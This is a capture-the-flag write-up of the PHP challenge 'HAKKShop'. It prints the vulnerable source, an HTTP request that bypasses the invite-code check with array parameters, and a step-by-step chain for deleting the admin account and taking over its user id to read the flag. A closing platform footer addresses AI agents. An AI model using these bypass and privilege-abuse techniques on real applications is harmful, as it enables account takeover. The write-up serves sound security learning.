> For the complete documentation index, see [llms.txt](https://xenon-2.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://xenon-2.gitbook.io/writeups/ctf-writeups/upsolves/hakkshop.md).

# HAKKShop

We are presented with a PHP web application that has a custom database implementation `DB`.

Looking at `register`, we spot a bug in the way `code` is being processed.

```php
//Register.php
// Checks if the code is a string and is set
if (isset($_REQUEST['username']) && isset($_REQUEST['password']) && isset($_REQUEST['code']) && is_string($_REQUEST['code'])) {
    if (is_valid_invite($_POST['code'])) {
        $username = $_POST['username'];
        if (get_user_by_name($username)) {
            show_error('Username already taken.');
        } else {
            add_tmp_perms(perms: 'users_add');
            $user = create_user($username, $_POST['password']);
            rm_tmp_perms('users_add');
            if ($user) {
                show_success('Account created successfully.');
                header('Location: login.php');
            } else {
                show_error('Failed to create user.');
            }
        }
    } else {
        show_error('Invalid invite code.');
    }
}

// Invites.php
function is_valid_invite($code) {
    global $db;
    $res = $db->select([
        'SELECT' => '*',
        'FROM' => 'invites',
        'WHERE' => ['code' => $code],
    ]);
    return count($res) === 1;
}
```

Reading PHP's documentation, it states the following

<figure><img src="/files/6Vv2K0n5IrpDAjsZOuAJ" alt=""><figcaption></figcaption></figure>

This means we can set two `code` values, one in `Cookie` to satisfy the `is_string` check and one in `$_POST` data which is seen in the debugger.

<figure><img src="/files/aerUC8Vc21L0ZWJOXU3t" alt=""><figcaption></figcaption></figure>

We can use a payload like the following to then create a valid user. Since there is only one invite code from `install.php`, this returns one row, satisfying the

```
POST /register.php HTTP/1.1
Host: localhost:8000
Content-Length: 66
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="141", "Not?A_Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
Origin: http://localhost:8000
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8000/register.php
Accept-Encoding: gzip, deflate, br
Cookie: code=123
Connection: keep-alive

username=pwned_user123&password=pwned_pass&code[]=%21%3D&code[]=''
```

<figure><img src="/files/KsYB3xnhIzDuk2e3Tk4O" alt=""><figcaption></figcaption></figure>

Now, we know that a admin user is created at the start via `install.php`. Looking at what our user can do, we see a interesting delete function in `settings.php`

{% tabs %}
{% tab title="Settings.php" %}

```php
<?php

include_once 'inc/required.php';
include_once 'inc/users.php';
include_once 'inc/perms.php';

enforce_auth();

if (isset($_POST['delete-user'])) {
    // Get uid from sesesion 
    $delete_uid = (int) $_REQUEST['uid'];
    if (has_perms('users_delete', 'perms_delete')) {
        delete_user($delete_uid);
        show_success("User $delete_uid has been deleted.");
    } elseif ($delete_uid === $_SESSION['uid']) {
        // if session matches id, allow deletion  
        add_tmp_perms('users_delete', 'perms_delete');
        delete_user($delete_uid);
        // Expects string from msg
        show_success($_REQUEST['msg']);
        rm_tmp_perms('users_delete', 'perms_delete');
        header('Location: logout.php');
    } else {
        show_error(error: 'You do not have permission to delete users.');
    }
}

include_once 'inc/header.php';
?>
<h2>Hello, <?= $_SESSION['username'] ?>!</h2>
<br>
<form action="?uid=<?= $_SESSION['uid'] ?>&msg=Your+account+has+been+deleted." method="POST">
    <input class="danger" type="submit" name="delete-user" value="Delete my account">
</form>
<?php include 'inc/footer.php'; ?>

```

{% endtab %}

{% tab title="Install.php" %}

```php
<?php

include_once 'inc/required.php';
include_once 'inc/users.php';
include_once 'inc/perms.php';
include_once 'inc/invites.php';

error_log('-------------------- INSTALLATION --------------------');

$db->exec('CREATE TABLE IF NOT EXISTS products (id INTEGER PRIMARY KEY, name TEXT, price INTEGER, qty INTEGER, art TEXT)');
$db->exec('CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)');
$db->exec('CREATE TABLE IF NOT EXISTS perms (uid INTEGER, perm TEXT)');
$db->exec('CREATE TABLE IF NOT EXISTS invites (code TEXT)');
error_log('Tables created!');

if (count($db->select(['SELECT' => '*', 'FROM' => 'products'])) === 0) {
    add_tmp_perms('products_add');
    $db->insert('products', ['id' => 1, 'name' => 'NMAPPAV',     'price' => 100, 'qty' => 1337, 'art' => file_get_contents('art/NMAPPAV.txt')]);
    $db->insert('products', ['id' => 2, 'name' => 'WIREHAJ',     'price' => 200, 'qty' => 1337, 'art' => file_get_contents('art/WIREHAJ.txt')]);
    $db->insert('products', ['id' => 3, 'name' => 'BURPSUITVIK', 'price' => 300, 'qty' => 1337, 'art' => file_get_contents('art/BURPSUITVIK.txt')]);
    $db->insert('products', ['id' => 4, 'name' => 'KALIFJORD',   'price' => 400, 'qty' => 1337, 'art' => file_get_contents('art/KALIFJORD.txt')]);
    $db->insert('products', ['id' => 5, 'name' => 'FLÄGG',       'price' => 1,   'qty' => 0,    'art' => file_get_contents('art/FLÄGG.txt')]);
    rm_tmp_perms('products_add');
    error_log('Products added!');
}

if (!get_user_by_name('admin')) {
    $admin_pw = bin2hex(random_bytes(16));
    add_tmp_perms('users_add');
    $admin = create_user('admin', $admin_pw);
    rm_tmp_perms('users_add');
    $uid = $admin['id'];
    add_tmp_perms('perms_add');
    add_perm($uid, 'users_edit');
    add_perm($uid, 'users_delete');
    add_perm($uid, 'perms_edit');
    add_perm($uid, 'perms_delete');
    add_perm($uid, 'flag_read');
    rm_tmp_perms('perms_add');
    error_log("Admin password: $admin_pw");
}

if (count(value: $db->select(['SELECT' => '*', 'FROM' => 'invites'])) === 0) {
    add_tmp_perms(perms: 'invites_add');
    $invite_code = generate_invite();
    rm_tmp_perms('invites_add');
    error_log("Invite code: $invite_code");
}

error_log('Installed!');
error_log('------------------------------------------------------');

header('Location: /');

```

{% endtab %}
{% endtabs %}

Flow of the function

1. Check perms (Only for admin it seems)
   1. if present - delete any user via `uid`
2. Else If session `uid` === delete `uid` (strict comparison)
   1. add temporary perms `add_tmp_perms`
   2. delete user
   3. show success message
   4. remove temporary perms `rm_tmp_perms`

Something interesting is that we can directly pass the `msg` parameter into `show_success` which expects a `string` type.

This can cause a crash, allowing us to retain our `delete_user` privileges, assuming we do not follow the redirect to `logout.php`

We can thus formulate the exploit

1. Create two sessions, A and B
   1. Use session A to do the following
      1. pass in a errorneous type into `message`, giving us `delete_user` privileges
      2. delete `admin` user by specifying `uid=1`
2. Create a new user that will take the `uid=2` using the bug above
3. Run `install.php` to create the new `admin` user as `uid=2`
4. Use session B which still retains the uid of 2 to view the flag


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://xenon-2.gitbook.io/writeups/ctf-writeups/upsolves/hakkshop.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
